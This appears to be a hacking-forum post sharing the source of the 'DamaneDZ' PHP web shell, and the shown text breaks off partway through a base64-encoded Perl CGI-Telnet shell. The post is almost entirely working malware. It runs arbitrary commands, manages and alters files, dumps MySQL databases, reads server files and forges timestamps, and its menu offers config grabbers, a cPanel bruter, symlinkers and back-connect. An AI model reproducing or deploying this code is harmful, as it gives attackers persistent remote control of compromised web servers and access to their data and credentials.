Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
SERVICE

Locked DamaneDZ Shell


dEEpEst

Recommended Posts

This is the hidden content, please
[HIDE-THANKS][LENGUAJE=php]<?php@error_reporting(0);@set_magic_quotes_runtime(0);ob_start();@mkdir('damane', 0755);$mtime = explode(' ', microtime());$starttime = $mtime[1] + $mtime[0];define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );define('IS_WIN', DIRECTORY_SEPARATOR == '\\');define('IS_COM', class_exists('COM') ? 1 : 0 );define('IS_GPC', get_magic_quotes_gpc());$dis_func = get_cfg_var('disable_functions');define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );@set_time_limit(0);foreach(array('_GET','_POST') as $_request) { foreach($$_request as $_key => $_value) { if ($_key{0} != '_') { if (IS_GPC) { $_value = s_array($_value); } $$_key = $_value; } }}/*================= Info Login ================*/$admin = array();$admin['cookiepre'] = '';$admin['cookiedomain'] = '';$admin['cookiepath'] = '/';$admin['cookielife'] = 86400;/*===================== End =====================*/if ($charset == 'utf8') { header("content-Type: text/html; charset=utf-8");} elseif ($charset == 'big5') { header("content-Type: text/html; charset=big5");} elseif ($charset == 'gbk') { header("content-Type: text/html; charset=gbk");} elseif ($charset == 'latin1') { header("content-Type: text/html; charset=iso-8859-2");}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];$errmsg = '';if ($action == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); } else { $errmsg = 'phpinfo() function has non-permissible'; }}if ($doing == 'downfile' && $thefile) { if (!@file_exists($thefile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $fileinfo = pathinfo($thefile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header('Content-Length: '.filesize($thefile)); @readfile($thefile); exit; }}if ($doing == 'backupmysql' && !$saveasfile) { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); $table = array_flip($table); $result = q("SHOW tables"); if (!$result) p('

'.mysql_error().'

'); $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql'); header('Content-type: application/unknown'); header('Content-Disposition: attachment; filename='.$filename); $mysqldata = ''; while ($currow = mysql_fetch_array($result)) { if (isset($table[$currow[0]])) { $mysqldata .= sqldumptable($currow[0]); } } mysql_close(); exit;}// Mysqlif($doing=='mysqldown'){ if (!$dbname) { $errmsg = 'Please input dbname'; } else { dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = 'The file you want Downloadable was nonexistent'; } else { $result = q("select load_file('$mysqldlfile');"); if(!$result){ q("DROP TABLE IF EXISTS tmp_angel;"); q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); //Download SQL q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); $result = q("select content from tmp_angel"); q("DROP TABLE tmp_angel"); } $row = @mysql_fetch_array($result); if (!$row) { $errmsg = 'Load file failed '.mysql_error(); } else { $fileinfo = pathinfo($mysqldlfile); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo['basename']); header("Accept-Length: ".strlen($row[0])); echo $row[0]; exit; } } }}?> Dz-Security PHP Full Shell
Loading
This is the hidden content, please
This is the hidden content, please
<?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> |
This is the hidden content, please
|

<?phpfunction ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } else { $res = "Ex() Disabled!"; } } return $res;} function showstat($stat) { if ($stat=="on") { return "ON"; } else { return "OFF"; } } function testperl() { if (ex('perl -h')) { return showstat("on"); } else { return showstat("off"); } } function testpy() { if (ex('python -h')) { return showstat("on"); } else { return showstat("off"); } }$curl_on = @function_exists('curl_version');$mysql_on = @function_exists('mysql_connect');$mssql_on = @function_exists('mssql_connect');$pg_on = @function_exists('pg_connect');$ora_on = @function_exists('ocilogon');echo "UName -a: ".@substr(@php_uname(),0,120)."

";echo "Server: ".@substr($SERVER_SOFTWARE,0,120)."

ID: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")

";echo (($safe_mode)?("Safe_mod: ON - "):("Safe_mod: OFF - "));echo "PHP version: ".@phpversion()."";echo "

cURL: ".(($curl_on)?("ON - "):("OFF - "));echo "MySQL: ";$mysql_on = @function_exists('mysql_connect');if($mysql_on){echo "ON - "; } else { echo "OFF - "; }echo "MSSQL: ";$mssql_on = @function_exists('mssql_connect');if($mssql_on){echo "ON - ";}else{echo "OFF - ";}echo "PostgreSQL: ";$pg_on = @function_exists('pg_connect');if($pg_on){echo "ON - ";}else{echo "OFF - ";}echo "Oracle: ";$ora_on = @function_exists('ocilogon');if($ora_on){echo "ON";}else{echo "OFF - ";}echo "Perl: ".@testperl()." - ";echo "Python: ".@testpy()."

";echo "Disable functions : ";if(''==($df=@ini_get('disable_functions'))){echo "NONE
";}else{echo "$df
";} ?>

[server IP: <?php echo "".gethostbyname($_SERVER['SERVER_NAME'])."";?> - Your IP: <?php echo "".$_SERVER['REMOTE_ADDR']."";?>]

------------------------------------------------------------------------------------------------------------------

File Manager | MySQL Manager | MySQL Upload & Download | Execute Command | PHP Variable | Eval PHP Code |

-------------------------------------------------------

WordPress Info Changer | Joomla Info Changer | Vbulletin Indexer | Perl Config Grabber | PHP Config Grabber | Server DomainList | Perl Shell |

-------------------------------------------------------

MySQL Interface (By Mohajer22) | Symlink_Sa 3.0 | SQL CMD 3.0 | Cpanel Bruter | Server Symlinker | Back Connect
'); p(''); // Get path $dirdata=array(); $filedata=array(); if ($view_writable) { $dirdata = GetList($nowpath); } else { // Open dir $dirs=@opendir($dir); while ($file=@readdir($dirs)) { $filepath=$nowpath.$file; if(@is_dir($filepath)){ $dirdb['filename']=$file; $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $dirdb['dirchmod']=getChmod($filepath); $dirdb['dirperm']=getPerms($filepath); $dirdb['fileowner']=getUser($filepath); $dirdb['dirlink']=$nowpath; $dirdb['server_link']=$filepath; $dirdb['client_link']=ue($filepath); $dirdata[]=$dirdb; } else { $filedb['filename']=$file; $filedb['size']=sizecount(@filesize($filepath)); $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); $filedb['filechmod']=getChmod($filepath); $filedb['fileperm']=getPerms($filepath); $filedb['fileowner']=getUser($filepath); $filedb['dirlink']=$nowpath; $filedb['server_link']=$filepath; $filedb['client_link']=ue($filepath); $filedata[]=$filedb; } }// while unset($dirdb); unset($filedb); @closedir($dirs); } @sort($dirdata); @sort($filedata); $dir_i = '0'; foreach($dirdata as $key => $dirdb){ if($dirdb['filename']!='..' && $dirdb['filename']!='.') { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $dir_i++; } else { if($dirdb['filename']=='..') { p(''); p(''); p(''); } } } p(''); p(''); makehide('action','file'); makehide('thefile'); makehide('doing'); makehide('dir',$nowpath); $file_i = '0'; foreach($filedata as $key => $filedb){ if($filedb['filename']!='..' && $filedb['filename']!='.') { $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']); $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); $file_i++; } } p(''); p('
<?phpformhead(array('name'=>'goaction'));makehide('action');formfoot();$errmsg && m($errmsg);// Dir function!$dir && $dir = '.';$nowpath = getPath(SA_ROOT, $dir);if (substr($dir, -1) != '/') { $dir = $dir.'/';}$uedir = ue($dir);if (!$action || $action == 'file') { // Non-writeable $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; // Delete dir if ($doing == 'deldir' && $thefile) { if (!file_exists($thefile)) { m($thefile.' directory does not exist'); } else { m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed')); } } // Create new dir elseif ($newdirname) { $mkdirs = $nowpath.$newdirname; if (file_exists($mkdirs)) { m('Directory has already existed'); } else { m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); @chmod($mkdirs,0777); } } // Upload file elseif ($doupfile) { m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); } // Edit file elseif ($editfilename && $filecontent) { $fp = @fopen($editfilename,'w'); m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); @fclose($fp); } // Modify elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m('The original file does not exist'); } else { $newperm = base_convert($newperm,8,10); m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); } } // Rename elseif ($oldname && $newfilename) { $nname = $nowpath.$newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname.' has already existed or original file does not exist'); } else { m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); } } // Copu elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m('The goal file has already existed or original file does not exist'); } else { m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); } } // File exit elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m('The goal file has already existed or original file does not exist'); } else { $time = @filemtime($tarfile); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } // Date elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile).' does not exist'); } else { $time = strtotime("$year-$month-$day $hour:$minute:$second"); m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); } } // Download elseif($doing == 'downrar') { if ($dl) { $dfiles=''; foreach ($dl as $filepath => $value) { $dfiles.=$filepath.','; } $dfiles=substr($dfiles,0,strlen($dfiles)-1); $dl=explode(',',$dfiles); $zip=new PHPZip($dl); $code=$zip->out; header('Content-type: application/octet-stream'); header('Accept-Ranges: bytes'); header('Accept-Length: '.strlen($code)); header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz'); echo $code; exit; } else { m('Please select file(s)'); } } // Delete file elseif($doing == 'delfiles') { if ($dl) { $dfiles=''; $succ = $fail = 0; foreach ($dl as $filepath => $value) { if (@unlink($filepath)) { $succ++; } else { $fail++; } } m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail); } else { m('Please select file(s)'); } } // Function Newdir formhead(array('name'=>'createdir')); makehide('newdirname'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileperm')); makehide('newperm'); makehide('pfile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'copyfile')); makehide('sname'); makehide('tofile'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'rename')); makehide('oldname'); makehide('newfilename'); makehide('dir',$nowpath); formfoot(); formhead(array('name'=>'fileopform')); makehide('action'); makehide('opfile'); makehide('dir'); formfoot(); $free = @disk_free_space($nowpath); !$free && $free = 0; $all = @disk_total_space($nowpath); !$all && $all = 0; $used = $all-$free; $used_percent = @round(100/($all/$free),2); p('File Manager Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)');?>
Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)
<?php tbhead(); p('
'); p('
'); p('WebRoot'); if ($view_writable) { p(' | View All'); } else { p(' | View Writable'); } p(' | Create Directory | Create File'); if (IS_WIN && IS_COM) { $obj = new COM('scripting.filesystemobject'); if ($obj && is_object($obj)) { $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); foreach($obj->Drives as $drive) { if ($drive->DriveType == 2) { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } else { p(' | '.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); } } } } p('
  Filename Last modified Size Chmod / Perms Action
0'.$dirdb['filename'].''.$dirdb['mtime'].'--'); p(''.$dirdb['dirchmod'].' / '); p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].' Del | Rename
= Parent Directory
'.$filedb['filename'].''.$filedb['mtime'].''.$filedb['size'].''); p(''.$filedb['filechmod'].' / '); p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); p('Down | '); p('Copy | '); p('Edit | '); p('Rename | '); p('Time'); p('
Packing download selected - Delete selected '.$dir_i.' directories / '.$file_i.' files
');}// end direlseif($action == 'perl'){@mkdir('perl', 0755);@chdir('perl');$hta = ".htaccess";$open_file = "$hta";$file = fopen ($open_file , 'w') or die ("Can't Open File !!");$text = ""; $text = "Options FollowSymLinks MultiViews Indexes ExecCGIAddType application/x-httpd-cgi .damAddHandler cgi-script .damAddHandler cgi-script .dam"; fwrite ( $file , $text);fclose ($file);$perlshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMCBmb3IgTlQgYW5kIFVuaXggOiBSdW4gQ29tbWFuZHMgb24geW91ciBXZWIgU2VydmVyDQojDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFBlcm1pc3Npb24gaXMgZ3JhbnRlZCB0byB1c2UsIGRpc3RyaWJ1dGUgYW5kIG1vZGlmeSB0aGlzIHNjcmlwdCBzbyBsb25nDQojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0DQojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUNCiMgaW4gdGhpcyBzY3JpcHQsIHlvdSBjYW4gZS1tYWlsIG1lLg0KIw0KIyBBdXRob3I6IFJvaGl0YWIgQmF0cmENCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQ0KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vDQojIFNjcmlwdCBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9jZ2lzY3JpcHRzL2NnaXRlbG5ldC5odG1sDQojIFByb2R1Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0Lw0KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvDQojIE1haWxpbmcgTGlzdDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9tbGlzdC8NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBJbnN0YWxsYXRpb24NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVG8gaW5zdGFsbCB0aGlzIHNjcmlwdA0KIw0KIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbg0KIyAgICB5b3VyIHNlcnZlci4gRm9yIG1vc3Qgc2VydmVycywgeW91IG1heSBub3QgbmVlZCB0byBtb2RpZnkgdGhpcy4NCiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJlbG93Lg0KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQ0KIyAgICBDb25maWd1cmF0aW9uIFNlY3Rpb24gYmVsb3cuDQojIDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNoIGhhcyBwZXJtaXNzaW9ucyB0bw0KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZA0KIyAgICB0aGUgc2NyaXB0IGluIEFTQ0lJIG1vZGUuDQojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBzY3JpcHQgdG8gNzU1Lg0KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4NCiMgICAgY2dpLWJpbiwgdGhpcyBzaG91bGQgYmUgaHR0cDovL3d3dy55b3Vyc2VydmVyLmNvbS9jZ2ktYmluL2NnaXRlbG5ldC5wbA0KIyA3LiBMb2dpbiB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZGFtYW5lIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPg0KJEh0